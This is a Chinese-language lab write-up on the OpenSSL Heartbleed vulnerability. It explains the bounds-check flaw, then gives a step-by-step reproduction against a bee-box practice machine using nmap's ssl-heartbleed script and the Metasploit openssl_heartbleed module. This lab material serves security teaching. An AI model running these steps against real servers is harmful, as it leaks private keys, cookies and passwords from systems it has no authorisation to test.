一、Heartbleed的知识点
1.引言:
最初人们为了网络通信安全,就开始使用安全协议进行加密通信,SSL(Secure Socket Layer)就是一种安全协议。随着开源软件的流行,有人写了一款叫 OpenSSL 的开源程序供大家方便地对通信进行SSL加密,后来这款软件便在互联网中被广泛应用。我们在浏览器地址栏常见的 https 前缀的网址以及那把小锁图标,通常就是指该网站经过 SSL 证书加密。
OpenSSL 有一个叫 Heartbeat (心跳检测)的拓展,问题就出在这个拓展上,这也是漏洞被命名为“心脏出血”的直接原因。
所谓心跳检测,就是建立一个 Client Hello 问询来检测对方服务器是不是正常在线 ,服务器发回 Server hello,表明正常树立SSL通讯。就像我们打电话时会问对方 “喂听得到吗?”一样。
每次问询都会附加一个问询的字符长度 pad length,bug 来了,如果这个 pad length 大于实际的长度,服务器仍是会回来相同规模的字符信息,于是形成了内存里信息的越界访问。
就这样,每发起一个心跳,服务器就能泄露一点点数据(理论上最多泄露 64K),这些数据里可能包括用户的登录账号密码、电子邮件甚至是加密秘钥等信息,也可能并没有包含这些信息,但攻击者可以不断利用 “心跳”来获取更多的信息。就这样,服务器一点一点泄露越来越多的信息,就像是心脏慢慢在出血,心脏出血漏洞的名字由此而来。
2、Heartbleed 的概述
Heartbleed漏洞,也叫心脏滴血漏洞。是流行的OpenSSL加密软件库中的一个严重漏洞。这个弱点允许窃取在正常情况下被用来保护互联网的SSL/TLS加密保护的信息。SSL/TLS为网络、电子邮件、即时消息(IM)和一些虚拟专用网络(VPNs)等应用程序在互联网上提供通信安全和隐私。
Heartbleed漏洞允许互联网上的任何人读取受OpenSSL漏洞保护的系统的内存。这就损害了用于标识服务提供者和加密通信、用户名和密码以及实际内容的秘钥。这允许攻击者窃听通信,直接从服务和用户那里窃取数据,并模拟服务和用户。
3,“ Heartbleed”简介:
Heart bleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。如同漏洞成因所讲,我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。所以本次会将“心脏滴血”漏洞进行复现。
4、什么是 Heartbleed
心脏出血漏洞”是指openssl这个开源软件中的一个漏洞,因为该软件使用到一个叫做heartbeat(中文名称为心跳)的扩展,恰恰是这个扩展出现了问题,所以才将这个漏洞形象的称为“心脏出血”;
二、实验过程
1.、环境准备
1.开启bee-box靶机和Kali虚拟机
2.bee-box中登陆(用户名:bug和密码都是 bee),
(注:键盘乱码解决:system-->Preferences-->keyboard,去设置并选定为china。
打开键盘设置,添加中国(中文)键盘,并移除其他的键盘方式。)




2、利用 Heartbleed 漏洞案例
1.获取bee-box的IP,在bee-box终端中使用ifconfig命令进行查看

2.查看是否能ping通
ping 192.168.17.135

3.用nmap -O 192.168.17.135(填入bee-box的IP) 查看一下开放端口,找到https-alt的端口:
nmap -O 192.168.17.135

4.用nmap 上带的ssl-heartbleed.nse脚本对目标机器进行扫描看是否存在该漏洞:
nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.17.135(bee-box的IP)

5.打开msf,输入:msfconsole

6.搜索漏洞利用模块:
search heartbleed
7.选用第二个模块:
use auxiliary/scanner/ssl/openssl_heartbleed

8.设置rhost和rport:
用show options查看需要配置的参数
set rhost 192.168.11.132set rport 8443show options


10. 最后设置一下verbose,让verbose为true这样我们才可以看到泄露的64kb数据
verbose为true:set verbose true

11. 然后就可以exploit(run)
输入:run运行攻击模块就可以得到一些信息


















